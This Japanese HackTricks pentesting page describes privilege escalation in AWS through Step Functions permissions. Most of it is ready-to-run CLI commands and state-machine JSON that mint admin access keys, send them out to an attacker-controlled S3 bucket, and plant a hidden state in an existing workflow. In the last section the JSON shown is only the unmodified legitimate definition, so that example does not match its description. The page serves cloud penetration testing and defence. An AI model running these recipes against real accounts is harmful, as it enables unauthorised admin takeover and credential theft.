AWS - Step Functions Privesc

HackTricksをサポートする

Step Functions

このAWSサービスに関する詳細情報は、以下を確認してください:

AWS - Step Functions Enum

タスクリソース

これらの特権昇格技術は、希望する特権昇格アクションを実行するために、いくつかのAWSステップファンクションリソースを使用する必要があります。

可能なすべてのアクションを確認するには、自分のAWSアカウントに移動し、使用したいアクションを選択して、そのパラメータを確認できます。例えば:

または、API AWSドキュメントに移動して、各アクションのドキュメントを確認することもできます:

states:TestState & iam:PassRole

**states:TestStateおよびiam:PassRole**の権限を持つ攻撃者は、既存のステートマシンを作成または更新することなく、任意のステートをテストし、任意のIAMロールをそれに渡すことができ、ロールの権限を持つ他のAWSサービスへの不正アクセスを可能にします。これらの権限が組み合わさることで、ワークフローの操作からデータの変更、データ漏洩、リソースの操作、特権昇格に至るまで、広範な不正行為が引き起こされる可能性があります。

aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

以下の例は、これらの権限とAWS環境の許可されたロールを利用して、adminユーザーのアクセスキーを作成するステートをテストする方法を示しています。この許可されたロールには、ステートがiam:CreateAccessKeyアクションを実行できるようにする高権限ポリシー(例えば、arn:aws:iam::aws:policy/AdministratorAccess)が関連付けられている必要があります:

  • stateDefinition.json:

{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
  • 権限昇格を実行するために実行されたコマンド:

aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}

潜在的な影響: ワークフローの不正な実行と操作、および機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。

states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)

states:CreateStateMachineiam:PassRole を持つ攻撃者は、ステートマシンを作成し、任意のIAMロールを提供することができ、そのロールの権限を持つ他のAWSサービスへの不正アクセスを可能にします。前の特権昇格技術 (states:TestState & iam:PassRole) と対照的に、これは自動的には実行されず、ステートマシン上での実行を開始するために states:StartExecution または states:StartSyncExecution の権限が必要です (states:StartSyncExecution標準ワークフローには利用できず、 表現ステートマシンのみに利用可能です)。

# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

以下の例は、admin ユーザーのアクセスキーを作成し、このアクセスキーを攻撃者が制御する S3 バケットに流出させるステートマシンを作成する方法を示しています。これには、これらの権限と AWS 環境の許可されたロールを利用します。この許可されたロールには、ステートマシンが iam:CreateAccessKey および s3:putObject アクションを実行できるようにする高権限ポリシー(例えば arn:aws:iam::aws:policy/AdministratorAccess)が関連付けられている必要があります。

  • stateMachineDefinition.json:

{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
  • コマンド 実行して ステートマシンを作成:

aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
  • コマンド は、以前に作成したステートマシンの 実行を開始 するために実行されました:

aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}

攻撃者が制御するS3バケットは、被害者アカウントからのs3:PutObjectアクションを受け入れる権限を持っている必要があります。

潜在的な影響: ワークフローの不正実行と操作、機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。

states:UpdateStateMachine & (必ずしも必要ではない) iam:PassRole

states:UpdateStateMachine 権限を持つ攻撃者は、ステートマシンの定義を変更でき、特権昇格につながる追加の隠れたステートを追加することができます。このようにして、正当なユーザーがステートマシンの実行を開始すると、この新しい悪意のある隠れたステートが実行され、特権昇格が成功します。

ステートマシンに関連付けられたIAMロールがどれだけ許可的であるかによって、攻撃者は2つの状況に直面します:

  1. 許可的なIAMロール: ステートマシンに関連付けられたIAMロールがすでに許可的である場合(例えば、arn:aws:iam::aws:policy/AdministratorAccess ポリシーが添付されている場合)、特権を昇格させるために**iam:PassRole** 権限は必要ありません。ステートマシンの定義を更新する必要がないため、十分です。

  2. 許可的でないIAMロール: 前のケースとは対照的に、ここでは攻撃者は**iam:PassRole** 権限も必要です。ステートマシンの定義を変更するだけでなく、ステートマシンに許可的なIAMロールを関連付ける必要があるためです。

aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

以下の例は、HelloWorld Lambda関数を呼び出す正当なステートマシンを更新し、ユーザー**unprivilegedUseradministrator** IAMグループに追加する追加のステートを加える方法を示しています。このようにして、正当なユーザーが更新されたステートマシンの実行を開始すると、この新しい悪意のあるステルスステートが実行され、特権昇格が成功します。

ステートマシンに許可されたIAMロールが関連付けられていない場合、許可されたIAMロールを関連付けるためにIAMロールを更新するための**iam:PassRole権限も必要です(例えば、arn:aws:iam::aws:policy/AdministratorAccess**ポリシーが添付されたもの)。

{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
  • コマンド 実行して 正当なステートマシン更新 する:

aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}

潜在的影響: ワークフローの不正実行と操作、機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。

HackTricksをサポートする

Last updated